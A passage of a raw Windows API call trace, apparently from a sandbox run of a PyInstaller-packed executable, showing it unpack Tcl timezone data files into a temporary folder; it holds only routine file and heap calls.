HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.468] CloseHandle (hObject=0x10c) returned 1 [0038.468] GetLastError () returned 0x0 [0038.468] SetLastError (dwErrCode=0x0) [0038.468] GetLastError () returned 0x0 [0038.468] SetLastError (dwErrCode=0x0) [0038.468] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.468] GetFileType (hFile=0x10c) returned 0x1 [0038.469] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.469] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.469] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.469] CloseHandle (hObject=0x10c) returned 1 [0038.469] GetLastError () returned 0x0 [0038.469] SetLastError (dwErrCode=0x0) [0038.469] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.469] GetFileType (hFile=0x10c) returned 0x1 [0038.469] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.469] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.469] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.470] CloseHandle (hObject=0x10c) returned 1 [0038.470] GetLastError () returned 0x0 [0038.470] SetLastError (dwErrCode=0x0) [0038.470] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.477] GetFileType (hFile=0x10c) returned 0x1 [0038.477] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.477] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.477] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.477] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.477] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.477] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.477] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.477] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.477] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.477] CloseHandle (hObject=0x10c) returned 1 [0038.477] GetLastError () returned 0x0 [0038.477] SetLastError (dwErrCode=0x0) [0038.477] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.477] GetFileType (hFile=0x10c) returned 0x1 [0038.477] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.477] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.477] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.477] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.477] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.478] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.478] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.478] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.478] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.478] CloseHandle (hObject=0x10c) returned 1 [0038.478] GetLastError () returned 0x0 [0038.478] SetLastError (dwErrCode=0x0) [0038.478] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Salta") returned 80 [0038.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Salta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\salta"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.478] GetLastError () returned 0x2 [0038.478] SetLastError (dwErrCode=0x2) [0038.478] GetLastError () returned 0x2 [0038.478] SetLastError (dwErrCode=0x2) [0038.478] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Salta", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Salta", lpFilePart=0x0) returned 0x4f [0038.478] GetLastError () returned 0x2 [0038.478] SetLastError (dwErrCode=0x2) [0038.478] GetLastError () returned 0x2 [0038.478] SetLastError (dwErrCode=0x2) [0038.478] GetLastError () returned 0x2 [0038.478] SetLastError (dwErrCode=0x2) [0038.478] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Salta") returned 80 [0038.478] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Salta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\salta"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.479] GetFileType (hFile=0x10c) returned 0x1 [0038.479] htonl (hostlong=0xb6070000) returned 0x7b6 [0038.479] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.479] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x7b6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x7b6, lpOverlapped=0x0) returned 1 [0038.480] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.480] CloseHandle (hObject=0x10c) returned 1 [0038.480] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.480] htonl (hostlong=0x40000000) returned 0x40 [0038.480] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.480] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.480] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.481] GetFileType (hFile=0x10c) returned 0x1 [0038.481] htonl (hostlong=0x24915800) returned 0x589124 [0038.481] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d4124, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.481] htonl (hostlong=0xe020000) returned 0x20e [0038.481] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20e) returned 0x550600 [0038.481] htonl (hostlong=0xe020000) returned 0x20e [0038.481] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.481] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.481] htonl (hostlong=0x13080000) returned 0x813 [0038.481] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x813) returned 0x55e278 [0038.481] htonl (hostlong=0xe020000) returned 0x20e [0038.481] htonl (hostlong=0x13080000) returned 0x813 [0038.481] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.481] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.481] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.481] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.481] CloseHandle (hObject=0x10c) returned 1 [0038.481] GetLastError () returned 0x0 [0038.481] SetLastError (dwErrCode=0x0) [0038.481] GetLastError () returned 0x0 [0038.481] SetLastError (dwErrCode=0x0) [0038.481] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.481] GetFileType (hFile=0x10c) returned 0x1 [0038.482] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.482] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.482] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.482] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.482] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.482] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.482] CloseHandle (hObject=0x10c) returned 1 [0038.482] GetLastError () returned 0x0 [0038.482] SetLastError (dwErrCode=0x0) [0038.482] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.482] GetFileType (hFile=0x10c) returned 0x1 [0038.482] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.482] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.482] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.482] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.482] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.482] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.482] CloseHandle (hObject=0x10c) returned 1 [0038.483] GetLastError () returned 0x0 [0038.483] SetLastError (dwErrCode=0x0) [0038.483] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.483] GetFileType (hFile=0x10c) returned 0x1 [0038.483] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.483] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.483] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.483] CloseHandle (hObject=0x10c) returned 1 [0038.483] GetLastError () returned 0x0 [0038.483] SetLastError (dwErrCode=0x0) [0038.483] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.483] GetFileType (hFile=0x10c) returned 0x1 [0038.483] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.483] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.484] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.484] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.484] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.484] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.484] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.484] CloseHandle (hObject=0x10c) returned 1 [0038.484] GetLastError () returned 0x0 [0038.484] SetLastError (dwErrCode=0x0) [0038.484] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Juan") returned 83 [0038.484] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Juan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\san_juan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.484] GetLastError () returned 0x2 [0038.484] SetLastError (dwErrCode=0x2) [0038.484] GetLastError () returned 0x2 [0038.484] SetLastError (dwErrCode=0x2) [0038.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Juan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Juan", lpFilePart=0x0) returned 0x52 [0038.484] GetLastError () returned 0x2 [0038.484] SetLastError (dwErrCode=0x2) [0038.484] GetLastError () returned 0x2 [0038.484] SetLastError (dwErrCode=0x2) [0038.484] GetLastError () returned 0x2 [0038.484] SetLastError (dwErrCode=0x2) [0038.484] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Juan") returned 83 [0038.484] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.484] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Juan" (normalized: 